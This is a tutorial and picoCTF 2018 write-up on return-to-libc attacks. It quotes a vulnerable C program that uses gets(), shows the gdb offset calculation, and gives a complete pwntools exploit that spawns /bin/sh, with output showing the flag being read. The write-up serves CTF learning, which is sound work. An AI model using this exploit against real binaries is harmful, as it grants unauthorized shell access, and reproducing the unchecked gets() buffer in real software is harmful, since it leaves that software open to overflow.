Return-to-libc-attack
Description
libc
The libc library contains thousands common functions (e.g. printf, fopen, fclose, ...).
Buffer overflow
Buffer overflows generally expect the stack to be executable. However, some systems (e.g. Fedora) are preventing the stack from being executable. This protection is not fool-proof though, and we could still perform a return-to-libc attack.
return-to-libc
The return-to-libc attack will still require a buffer-overflow, but does not require a shellcode. Instead, this attack will force the program to jump to an existing code, more spefically the return address to point to a function within libc, usually system.
This attack is commonly used to access the system function of libc with /bin/sh passed as argument: system('/bin/sh'). It requires:
- to know the memory address of system during runtime
- the address that points to the string /bin/sh
Proof of Concept
Vulnerable Code
The following code comes from the picoCTF 2018 challenge
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */
void vuln(){
char buf[BUFSIZE];
puts("Enter a string:");
gets(buf);
puts(buf);
puts("Thanks! Exiting now...");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Here are some useful addresses:\n");
printf("puts: %p\n", puts);
printf("fflush %p\n", fflush);
printf("read: %p\n", read);
printf("write: %p\n", write);
printf("useful_string: %p\n", useful_string);
printf("\n");
vuln();
return 0;
}
Quick analysis:
- The main function displays addresses of some functions of the libc library (running the program several times, you can see that these address are changing, due to ASLR) and jumps to the vuln function.
- The vuln function sets a buffer of 148 bytes (we will obviously need to overflow it), asks for a string and displays it.
- Interestingly, we are also provided with the string /bin/sh which will be in the stack, and stored in the useful_string variable.
Compute the offset
Let's first compute the offset (memory address gap) between system and any other function of the libc library (we'll choose puts):
$ gdb -q /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln Reading symbols from /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln...(no debugging symbols found)...done. (gdb) b main Breakpoint 1 at 0x812 (gdb) r Starting program: /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln Breakpoint 1, 0x56565812 in main () (gdb) p puts $1 = {<text variable, no debug info>} 0xf7665140 <puts> (gdb) p system $2 = {<text variable, no debug info>} 0xf7640940 <system>
During runtime, we'll find the real address of puts in memory and we will substract this offset to determine the real address of system.
Code of the exploit
#!/usr/bin/env python
import pwn
import re
# In GDB
gdb_puts = 0xf7665140
gdb_system = 0xf7640940
offset = gdb_puts - gdb_system
#elf = pwn.ELF('./vuln')
elf = pwn.ELF('/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln')
p = elf.process()
output = p.recv()
# runtime memory addresses
mem_puts = int(re.findall('puts: (.*)', output)[0], 16)
mem_useful_string = int(re.findall('useful_string: (.*)', output)[0], 16)
# retrieve real address of system
mem_system = mem_puts - offset
# execute system('/bin/sh')
payload = 'A'*160 # buffer overflow
payload += pwn.p32(mem_system) # system
payload += 'B'*4 # return address
payload += pwn.p32(mem_useful_string) # /bin/sh
p.sendline(payload)
p.interactive()
Here is the code output, showing that we now have a shell:
$ python2 flag.py [*] '/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Starting local process '/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln': pid 3449587 [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x19Z�BBBB0`\V Thanks! Exiting now... $ cd /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/ $ ls flag.txt vuln vuln.c $ cat flag.txt picoCTF{syc4al1s_4rE_uS3fUl_88aa45fa}$ [*] Stopped process '/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln' (pid 3449587)